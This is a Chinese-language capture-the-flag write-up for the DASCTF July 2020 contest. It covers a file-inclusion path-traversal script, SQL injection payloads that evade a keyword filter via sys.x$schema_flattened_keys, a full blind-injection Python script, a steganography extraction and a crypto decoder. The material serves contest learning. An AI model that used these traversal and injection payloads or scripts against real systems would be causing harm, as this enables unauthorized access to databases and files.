DASCTF 7月賽部分write up
阿新 • • 發佈:2020-07-26
彩筆一個,後來看其他師傅的wp才知道還有這些做法。
WEB1 Ezfileincude
開啟題目是一張圖片,直接看原始碼發現存在 image.php?t=XXXXXX&f=XXXXXXX
t是時間戳,f是圖片路徑的base64加密
後面測試發現題目過濾了../ // ./,最後發現可以在f=image.php背後加/../達到目錄穿越的目的
附上指令碼
import base64 import time import requests flag='/image.php/../../../../../flag' str=flag.encode('utf-8') url='http://183.129.189.60:10009/image.php?' t = int(time.time()) t = ('%s'%t) print(t) b = base64.b64encode(str) f = b.decode('utf-8') res = requests.get(url=url + 't=' + t + '&f=' + f) print(res.text)
WBE2 SQLi
題目已經給出了過濾條件
preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);
無列名查詢+bypass information_schema
看師傅們的wp發現是用sys.x$schema_flattened_keys來繞過information_schema
而且union、select都沒有被過濾,所以可以嘗試進行聯合查詢注入
?id=0'/**/union/**/SELECT/**/group_concat(table_name),2,3/**/FROM/**/sys.x$schema_flattened_keys/**/WHERE/**/table_schema='sqlidb'/**/GROUP/**/BY/**/table_name/**/limit/**/0,1#
從表中獲取flag
?id=0'/**/union/**/select/**/*,1/**/from/**/flllaaaggg#
這裡貼一個Ying師傅的盲註腳本
#!/usr/bin/env python3 #-*- coding:utf-8 -*- #__author__: 穎奇L'Amore www.gem-love.com import requests as req import time as t import base64 as b import string alpa = string.ascii_letters + string.digits res = '' #庫名 利用limit注入 sqlidb # http://183.129.189.60:10004/?id=1%27limit/**/1,1/**/PROCEDURE/**/ANALYSE(1)%23 #表名 flllaaaggg payload = '''SELECT group_concat(table_name) FROM sys.x$schema_flattened_keys WHERE table_schema='sqlidb' GROUP BY table_name limit 0,1''' for i in range(1,100): for char in alpa: host = '''http://183.129.189.60:10004/?id=1'=(substr(({payload}),{i},1)='{char}')%23'''.format(payload=payload.replace(' ','/**/'), i=i, char=char) r = req.get(host) if r'admin666' in r.text: res += char print("found it: "+res) break t.sleep(0.2)
簡單的聊聊information_schema
這裡推薦一個好用的正則表示式平臺
MiSC1 welcome to the misc world
先用zsteg檢視png圖片,發現圖片裡藏了一張圖片,於是進行指令分離
zsteg -E 'b1,r,lsb,xy' red_blue.png > result.png
圖片中直接就有壓縮包的密碼 /*///1258/*/@#
我們開啟壓縮包發現有三個檔案
flag就在文字文件裡,一開始我也沒想到是base85,還是見識太少了
最後解碼拿到flag
推薦一個好用的加解密平臺
crypto1 bullshit
這裡貼出題目原始碼
from flag import flag
def pairing(a,b):
shell = max(a, b)
step = min(a, b)
if step == b:
flag = 0
else:
flag = 1
return shell ** 2 + step * 2 + flag
def encrypt(message):
res = ''
for i in range(0,len(message),2):
res += str(pairing(message[i],message[i+1]))
return res
print(encrypt(flag))
# 1186910804152291019933541010532411051999082499105051010395199519323297119520312715722
題目中把flag中的字元兩個一組加密成一個數字,最後進行拼接
由於flag中只含有數字字母和大括號,我們可以算出每組的數字中
最小約為ord('0')**2+ord('0')*2=2400;
最大約為ord('}')**2+ord('}')*2=15875;
則從頭開始,以'1'開頭的往下取5位,以其他數字開頭的往下取4位,把數字分開
這裡貼XMAO師傅的指令碼,我太菜了沒寫出來
import itertools
str_ = "1186910804152291019933541010532411051999082499105051010395199519323297119520312715722"
def pairing(a,b):
shell = max(a, b)
step = min(a, b)
if step == b:
flag = 0
else:
flag = 1
return shell ** 2 + step * 2 + flag
result = itertools.product("abcdefghijklmnopqrstuvwxyz0123456789{}",repeat=2)
l = list(result)
for i in l:
r = pairing(ord(i[0]),ord(i[1]))
if str_.find(str(r)) !=-1:
str_=str_.replace(str(r),i[0] + i[1])
print(str_)